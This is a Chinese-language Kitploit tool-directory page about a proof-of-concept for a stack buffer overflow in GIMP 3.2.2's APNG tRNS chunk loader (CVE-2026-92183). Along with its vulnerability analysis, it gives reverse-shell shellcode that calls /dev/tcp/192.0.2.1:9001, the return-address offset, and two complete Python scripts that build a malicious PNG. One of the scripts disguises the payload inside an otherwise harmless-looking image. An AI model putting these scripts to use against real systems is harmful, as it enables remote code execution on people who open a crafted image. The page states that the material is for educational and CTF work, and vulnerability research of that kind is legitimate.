Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-92183_GIMP_RCE_Proof-of-Concept — GIMP 3.2.2 在其 APNG 加载器(load_apng_image)处理 tRNS(透明度)数据块时存在基于栈的缓冲区溢出。本篇文章演示了利用该漏洞实现远程代码执行的概念验证。 | Kitploit
工具/GitHubGitHub/cxu0630/cve-2026-92183_gimp_rce_proof-of-concept
内存取证Payload生成漏洞分析漏洞利用逆向工程Shellcode论文与研究学习与教育二进制利用
分享
GitHubcxu0630/cve-2026-92183_gimp_rce_proof-of-concept

CVE-2026-92183_GIMP_RCE_Proof-of-Concept

GIMP 3.2.2 在其 APNG 加载器(load_apng_image)处理 tRNS(透明度)数据块时存在基于栈的缓冲区溢出。本篇文章演示了利用该漏洞实现远程代码执行的概念验证。

查看仓库
717天前尚未审核

CVE-2026-92183:GIMP APNG tRNS 栈缓冲区溢出 → RCE

作者: Chloe Xu、Abby Farrell、George Avdella、Austin Chan
日期: 2026-11-03
目标: GIMP 3.2.2(Linux x86_64)
CVE: CVE-2026-92183(7.8 高危)
CWE: CWE-121:基于栈的缓冲区溢出
影响: 远程代码执行(通过恶意 PNG/APNG 文件)

免责声明: 本文仅用于教育目的。CVE 和版本号来自受控的学术/CTF 练习。请勿将其用于您不拥有或未获得明确测试许可的系统。


1. 概述

GIMP 3.2.2 的 APNG 加载器(load_apng_image)在处理 tRNS(透明度)数据块时存在基于栈的缓冲区溢出。该数据块的长度未经校验即被信任,而目标缓冲区 trns[256] 固定为 256 字节,攻击者可借此覆盖栈并劫持控制流。

现有的公开分析仅演示了拒绝服务(GIMP 崩溃)。本文通过以下方式将分析扩展为完整的反向 shell 利用:

  1. 构造一个有效的 PNG,通过 acTL/fcTL 数据块迫使 GIMP 进入 APNG 解析路径。
  2. 注入一个长度超过 256 字节的恶意 tRNS 数据块。
  3. 将 shellcode 放置在栈上,并覆盖保存的返回地址以跳转至该 shellcode。

该利用假设环境未启用加固措施(ASLR 已禁用、NX 已禁用、无栈金丝雀),如参考幻灯片所述。我们还将讨论这些缓解措施为何重要,以及启用它们时该利用的表现。


2. 漏洞分析

2.1 PNG 与 APNG 数据块结构

PNG 文件由数据块组成:

字段大小
长度4 字节(大端序)
数据块类型4 字节(ASCII)
数据块数据Length 字节
CRC4 字节

APNG 通过额外的辅助数据块扩展了 PNG:

  • acTL(动画控制)——将文件标记为 APNG。必须出现在第一个 IDAT 之前。
  • fcTL(帧控制)——位于每帧数据之前。
  • fdAT(帧数据)——包含帧数据(后续帧可替代 IDAT)。

GIMP 的 PNG 插件(file-png)在遇到 acTL 数据块时会分支到 load_apng_file,即使文件扩展名为 .png。

2.2 存在漏洞的代码

摘自补丁差异:

存在漏洞的版本(GIMP 3.2.2):

else if (png_id == id_tRNS)
{
    for (gint i = 0; i < chunk.size; i++)
        trns[i] = chunk.data[i + 8];
}

已修补版本(GIMP 3.2.6):

gint transparent_size = MIN(chunk.size, 256);
for (gint i = 0; i < transparent_size - 8; i++)
    trns[i] = chunk.data[i + 8];

目标缓冲区声明为:

guchar trns[256];

由于 chunk.size 直接从文件中读取且没有边界限制,一个 size > 256 的 tRNS 块会溢出栈上的 trns[]。+ 8 偏移表明 chunk.data 指向块的开头(包括 8 字节的长度 + 类型头),因此 chunk.data[i + 8] 读取的是实际数据字节。

2.3 到达易受攻击的函数

到达 load_apng_image() 的进程示意图

当打开文件时,GIMP 核心会在任何插件代码运行之前选择加载器。file_open_pre_check() 调用 gimp_plug_in_manager_file_procedure_find(),后者根据扩展名或魔数字节进行匹配。.apng 文件会交给 file-apng-load,而带有 PNG 签名的文件会交给 file-png-load。核心通过 gimp_plug_in_manager_call_run() 运行选定的过程,该函数将 file-png 插件作为子进程启动,并通过管道发送过程名称和参数。在子进程中,load_image() 总是首先运行并构建基础 PNG 层。随后 apng_load() 无条件调用 load_apng_image()。png_load() 仅在 load_image() 看到 png/fcTL 块时才调用它。load_apng_image() 会重新打开文件并自行解析块,因此之前的 libpng 遍历对它来说没有验证任何内容。png_load() 还忽略其返回值,无论哪种情况都报告成功。

子进程由 gimp_spawn_async() 创建,在 POSIX 系统上该函数调用 vfork() 然后立即调用 execve()(app/core/gimp-spawn.c:171-199)。execve() 丢弃子进程的内存映射,从头加载 file-png 二进制文件及其库。因此子进程不持有父进程的任何堆或栈,在启用 ASLR 的系统上,每次打开图像时都会获得全新的地址布局。exec 之后保留下来的是进程 ID、用户的权限、GIMP 传入的环境,以及任何未标记为 close-on-exec 的文件描述符。这些包括在命令行上传递的两个管道端。父进程自己的管道端被标记为 close-on-exec,因此子进程不会继承它们。这隔离了内存,但并未对子进程进行沙箱化。被攻陷的子进程仍然可以以用户身份运行、读取相同的文件,并通过管道和共享内存向父进程发送精心构造的消息和瓦片数据。


3. 漏洞利用开发

3.1 栈布局与偏移

易受攻击函数的栈帧(简化版,使用 -O2 -z execstack -fno-stack-protector 编译):

+------------------+  <- lower addresses
| trns[256]        |  (offset 0)
+------------------+
| ...              |
| saved RBP        |
| saved RIP        |  <- return address
+------------------+  <- higher addresses

从 trns 起始位置到保存的返回地址的精确偏移量取决于编译器和周围的局部变量。在参考环境中,该偏移量为 312 字节。我们通过以下方式确定:

  1. 将循环模式作为 tRNS 数据发送。
  2. 在 GDB 下使 GIMP 崩溃。
  3. 检查崩溃时 RIP 的值,并使用 cyclic_find() 计算偏移量。

在 -O2 下,循环迭代器 i 很可能存储在寄存器中,因此它不会位于缓冲区和返回地址之间。312 字节的偏移量考虑了 trns[256] 加上对齐和其他保存的寄存器。

3.2 载荷布局

tRNS 数据为:

[ 312 bytes 'A' ] [ 8-byte return address ] [ 1410 bytes NOP sled ] [ shellcode ]
  • 填充 填充 trns 并到达保存的返回地址。
  • 返回地址 = 0x7ffffffffdeb2 + 0x10(指向 NOP sled)。
  • NOP Sled 提供着陆垫。
  • Shellcode 执行 execve("/bin/bash", ...) 以生成反向 shell。

Shellcode(使用 pwntools 生成):

context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.execve(
    '/bin/bash',
    ['Hello form payload', '-c', 'sh -i >& /dev/tcp/192.0.2.1/9001 0>&1'],
    {'PATH': '/usr/bin:/bin'}
))

execve 会用 shell 替换 file-png 子进程。由于 GIMP 会为插件执行 fork 出一个子进程,该 shell 独立于主 GIMP 进程(主进程会挂起等待插件)而存活。攻击者在端口 9001 上获得一个反向 shell。


4. 载荷构造

4.1 1x1 图像生成器

此脚本创建一个最小的 1×1 PNG,并直接注入恶意的 tRNS 数据块。它有助于理解文件结构。

#!/usr/bin/env python3
# create_payload.py

from pwn import *
import png
import io

# Minimal 1x1 PNG
pixels = [[0]]
writer = png.Writer(1, 1)
byte_stream = io.BytesIO()
writer.write(byte_stream, pixels)
byte_stream.seek(0)

# Shellcode: reverse shell to 192.0.2.1:9001
context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.execve(
    '/bin/bash',
    ['Hello form payload', '-c', 'sh -i >& /dev/tcp/192.0.2.1/9001 0>&1'],
    {'PATH': '/usr/bin:/bin'}
))

header = byte_stream.read(8)   # PNG signature
ihdr   = byte_stream.read(25)  # IHDR chunk
idat   = byte_stream.read(22)  # IDAT chunk
iend   = byte_stream.read()    # IEND chunk

with open("payload.png", "wb") as f:
    f.write(header)
    f.write(ihdr)

    # Malicious tRNS chunk
    # length = 312 (offset) + 8 (ret addr) + 1410 (NOPs) + len(shellcode)
    trns_data = b'A' * 312 + p64(0x7ffffffffdeb2 + 0x10) + b'\x90' * 1410 + shellcode
    f.write(len(trns_data).to_bytes(4, 'big'))
    f.write(b'tRNS')
    f.write(trns_data)
    f.write(b'A' * 4)  # CRC (not validated before overflow)

    f.write(idat)
    f.write(iend)

print("[+] Wrote payload.png")

注意: 原始幻灯片脚本使用了一个最小的 1×1 图像。此版本中不存在 acTL/fcTL 块,但由于在采用 APNG 路径时会调用 load_apng_image 中的 tRNS 处理逻辑,因此仍会到达 GIMP 的 APNG 加载器。在实践中,添加 acTL 可确保使用 APNG 加载器。下面的修改脚本以稳健的方式实现了这一点。

4.2 图像修改

此脚本接收一个现有的 PNG,将其转换为 APNG(在 IDAT 之前添加 acTL 和 fcTL),并替换/插入一个恶意的 tRNS 块。它保留原始图像数据和元数据,使文件看起来无害。

#!/usr/bin/env python3
"""
modify_apng.py — Inject a malicious tRNS chunk into a PNG/APNG.

Usage:
    python3 modify_apng.py input.png output.png [--ip 192.0.2.1] [--port 9001]
"""

import struct
import zlib
import argparse
from pwn import *

SIG = b"\x89PNG\r\n\x1a\n"

def read_chunks(path):
    with open(path, "rb") as f:
        data = f.read()
    if data[:8] != SIG:
        raise ValueError("not a PNG/APNG")
    chunks, i = [], 8
    while i < len(data):
        (length,) = struct.unpack(">I", data[i:i + 4])
        ctype = data[i + 4:i + 8]
        cdata = data[i + 8:i + 8 + length]
        chunks.append([ctype, cdata])
        i += 12 + length
    return chunks

def write_chunks(path, chunks):
    out = bytearray(SIG)
    for ctype, cdata in chunks:
        out += struct.pack(">I", len(cdata))
        out += ctype
        out += cdata
        out += struct.pack(">I", zlib.crc32(ctype + cdata) & 0xFFFFFFFF)
    with open(path, "wb") as f:
        f.write(out)

def find(chunks, ctype):
    for idx, (t, _) in enumerate(chunks):
        if t == ctype:
            return idx
    return -1

def ihdr(chunks):
    _, d = chunks[find(chunks, b"IHDR")]
    w, h, bitdepth, color = struct.unpack(">IIBB", d[:10])
    return w, h, bitdepth, color

def to_apng(chunks):
    """Ensure the file is treated as an APNG by inserting acTL and fcTL."""
    if find(chunks, b"acTL") != -1:
        return chunks
    w, h, _, _ = ihdr(chunks)

    actl = struct.pack(">II", 1, 0)  # num_frames=1, num_plays=0
    fctl = struct.pack(">IIIIIHHBB",
                       0,       # sequence_number
                       w, h,    # width, height
                       0, 0,    # x_offset, y_offset
                       0, 100,  # delay_num, delay_den
                       0, 0)    # dispose_op, blend_op

    idat = find(chunks, b"IDAT")
    if idat == -1:
        raise ValueError("no IDAT chunk")
    return chunks[:idat] + [[b"acTL", actl], [b"fcTL", fctl]] + chunks[idat:]
下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    627
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    416
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer是一个开源的特权访问管理(PAM)平台,为DevOps和IT团队提供通过Web浏览器按需安全访问SSH、RDP、Kubernetes、数据库和RemoteApp端点的能力。

    379
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    330
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    由 AI 驱动的 OSINT 引擎,可在网络上发现并映射 7,700+ 个社交媒体身份

    288

探索所有工具

浏览我们的工具集合

查看所有工具 →